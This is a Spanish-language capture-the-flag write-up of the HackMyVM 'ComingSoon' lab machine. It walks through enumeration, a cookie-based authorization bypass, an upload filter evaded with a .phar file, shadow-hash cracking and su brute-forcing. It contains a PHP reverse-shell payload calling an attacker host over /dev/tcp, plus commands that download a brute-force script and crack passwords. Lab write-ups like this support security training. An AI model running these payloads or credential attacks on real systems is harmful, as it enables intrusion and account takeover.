cd ~/blog

~/writeups/hmv/047-comingsoon.md

047 - ComingSoon

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Client-Side Authorization BypassUnrestricted File Upload RCECredential ExposureContextual Password Guessing
hackmyvm.eu/machines/machine.php?vm=ComingSoon

~1 min de lectura


Enumeración de servicios

Comenzamos con la enumeración de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.214
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.214
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-18 22:36 -03
Nmap scan report for 192.168.1.214
Host is up (0.00033s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 bc:fb:ec:b8:93:d4:e2:78:76:eb:1b:dc:4b:a7:7f:9b (RSA)
|   256 31:41:a0:d7:e9:3c:79:11:c2:f0:81:a0:fe:2d:f9:b0 (ECDSA)
|_  256 c9:34:17:00:31:75:4d:c0:3a:a5:b1:16:36:0d:bb:18 (ED25519)
80/tcp open  http    Apache httpd 2.4.51 ((Debian))
|_http-title: Bolt - Coming Soon Template
|_http-server-header: Apache/2.4.51 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.60 seconds

Enumeramos con gobuster y revisamos las cabeceras con whatweb:

❯ gobuster dir -u http://192.168.1.214 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.php            (Status: 200) [Size: 3988]
/assets               (Status: 200) [Size: 1496]
/license.txt          (Status: 200) [Size: 528]
/notes.txt            (Status: 200) [Size: 279]
...

❯ whatweb http://192.168.1.214
http://192.168.1.214 [200 OK] Apache[2.4.51], Bootstrap, Cookies[RW5hYmxlVXBsb2FkZXIK], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.51 (Debian)], IP[192.168.1.214], JQuery, Script[text/javascript], Title[Bolt - Coming Soon Template]

❯ echo "RW5hYmxlVXBsb2FkZXIK" | base64 -d
EnableUploader

Client-Side Authorization Bypass

El notes.txt y la cookie EnableUploader indican que el navegador decide si muestra el subidor. Estamos ante un Client-Side Authorization Bypass: Base64 no aporta integridad ni demuestra autorización, así que el usuario puede sustituir false (ZmFsc2UK) por true y el servidor acepta el estado controlado por el cliente:

❯ echo -n "true" | base64
dHJ1ZQ==

Unrestricted File Upload RCE

Al recargar aparece un botón hacia la página de subida. La primera prueba con .php está bloqueada:

❯ cat reverse.php
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>
For security, .php files are allowed.Sorry, your file was not uploaded.

La aplicación sólo rechaza una extensión concreta. Probamos .phar, que el servidor conserva en una ruta pública y entrega al intérprete PHP. Esa combinación convierte el bypass de extensión en Unrestricted File Upload RCE. Accedemos al archivo y obtenemos una shell. Las flags están en /media.

Movimiento lateral a scpuser

Para escalar privilegios, en /var/backups hay una copia que contiene un shadow con los hashes de scpuser y root. Esta Credential Exposure permite realizar ataques fuera de línea sin generar intentos contra el servicio. Con el diccionario inicial sólo recuperamos la contraseña de scpuser:

❯ /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash_scpuser
...
tigger           (?)
...

Escalada de privilegios

Iniciamos sesión como scpuser y obtenemos la primera flag. En su home hay contraseñas antiguas de root que revelan un patrón basado en películas animadas. Esto permite un Contextual Password Guessing mucho más acotado que probar una lista genérica. Preparamos el diccionario temático y la herramienta su-bruteforce:

scpuser@comingsoon:/tmp$ wget https://raw.githubusercontent.com/carlospolop/su-bruteforce/master/suBF.sh
❯ awk -F ',' '{print $6}' top_movies.csv | tr -d ' ' | tr -d '"' > movie_wordlist

Transferimos el wordlist y lanzamos la fuerza bruta:

scpuser@comingsoon:/tmp$ wget http://192.168.1.10:8000/movie_wordlist_upper.txt

scpuser@comingsoon:/tmp$ ./suBF.sh -u root -w movie_wordlist_upper.txt
[+] Bruteforcing root...
  You can login as root using password: ToyStory3
  Wordlist exhausted

Como ya disponemos del hash, también podemos comprobar el mismo diccionario fuera de línea con John. Esta opción evita generar numerosos intentos de autenticación mediante su:

❯ /opt/john/run/john -w=movie_wordlist_upper.txt hash_root
...
ToyStory3        (?)
...

Iniciamos sesión como root y obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados